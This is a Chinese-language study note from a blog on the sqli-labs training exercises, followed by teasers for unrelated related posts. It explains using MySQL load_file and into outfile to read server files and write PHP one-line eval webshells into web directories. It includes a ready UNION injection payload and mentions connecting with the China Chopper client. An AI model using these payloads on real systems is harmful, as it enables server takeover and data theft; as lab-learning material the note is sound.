寫在前面:
如果該檔案不存在,或因為上面的任一原因而不能被讀出,函式返回空。比較難滿足的
就是許可權,在windows 下,如果ntfs 設定得當,是不能讀取相關的檔案的,當遇到只有
administrators 才能訪問的檔案,users 就別想load_file 出來。
在實際的注入中,我們有兩個難點需要解決:
絕對物理路徑
構造有效的畸形語句(報錯爆出絕對路徑)
在很多php 程式中,當提交乙個錯誤的query,如果display_errors = on,程式就會暴露
web 目錄的絕對路徑,只要知道路徑,那麼對於乙個可以注入的php 程式來說,整個伺服器的安全將受到嚴重的威脅。
mysql注入load_file常見路徑:
load data infile 語句用於高速地從乙個文字檔案中讀取行,並裝入乙個表中。檔名稱必
須為乙個文字字串。
在注入過程中,我們往往需要一些特殊的檔案,比如配置檔案,密碼檔案等。當你具有資料
庫的許可權時,可以將系統檔案利用load data infile 匯入到資料庫中。
select.....into outfile 'file_name'
可以把被選擇的行寫入乙個檔案中。該檔案被建立到伺服器主機上,因此您必須擁有file
許可權,才能使用此語法。file_name 不能是乙個已經存在的檔案。
我們一般有兩種利用形式:
第一種直接將select 內容匯入到檔案中:
select version() into outfile 「c:\\phpnow\\htdocs\\test.php」
此處將version()替換成一句話,
<?php @eval($_post[「yulige」])?>也即
select <?php @eval($_post[「yulige」])?> into outfile 「c:\\phpnow\\htdocs\\test.php」
直接連線一句話就可以了,其實在select 內容中不僅僅是可以上傳一句話的,也可以上傳很
多的內容。
第二種修改檔案結尾:
select version() into outfile 「c:\\phpnow\\htdocs\\test.php」 lines terminated by 0x //16 進製檔案
解釋:通常是用『\r\n』結尾,此處我們修改為自己想要的任何檔案。同時可以用fields terminated by
16 進製可以為一句話或者其他任何的**,可自行構造。
select load_file(『c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini』)into outfile
『c:\\wamp\\www\\test.php』
可以利用該語句將伺服器當中的內容匯入到web 伺服器下的目錄,這樣就可以得到資料了。
上述my.ini 當中存在password 項(不過預設被注釋),當然會有很多的內容可以被匯出來,
這個要平時積累。
參考文章:《mysql注入天書》
2333333知識普及的差不多了,終於開始正題了嗎?
首先介紹兩個可以說是函式,還是變數的東西
@@datadir 讀取資料庫路徑
@@basedir mysql 獲取安裝路徑
這裡的less-7我沒注出來,但是在less-3注出了路徑。
/var/lib/mysql/之後拿菜刀連一下。/usr
')) union select 1,2,'<?php @eval($_post["test"]);?>' into outfile '/tmp/123.php' --+
Sqli labs 學習筆記
資料庫的連線函式 concat和concat ws concat ws的第乙個引數是連線字串的分隔符。user 返回當前資料庫連線使用的使用者 database 返回當前資料庫連線使用的資料庫 version 返回當前資料庫的版本 127.0.0.1 sqli labs less 1 id 1 un...
SQLI LABS學習筆記 四
第十六關 和之前的關卡一樣,修改閉合,無意義的關卡 閉合即可 第十七關 這題從原始碼上看發現 這裡進行了兩次查詢 先查詢了使用者名稱是否存在 再查詢密碼是否匹配這個使用者 那麼我們就需要知道使用者名稱 在知道使用者名稱的前提下來進行注入 在之前的測試知道有admin這個賬戶 所以就用admin來注入...
《程式設計師修煉之道》筆記 三
第四章 注重偏執的實效 你不可能寫出完美的軟體 我們要把這句話視為生活的公理,並接受它 擁抱它。但同時,有一些方法可以盡量把這個事實轉變為有利條件 作者用開車來模擬寫程式 每個人都知道只有他們自己是地球上的好司機,於是我們防衛性地開車,小心謹慎以避免麻煩發生,預判意料之外的事,盡量不讓自己陷入無法解...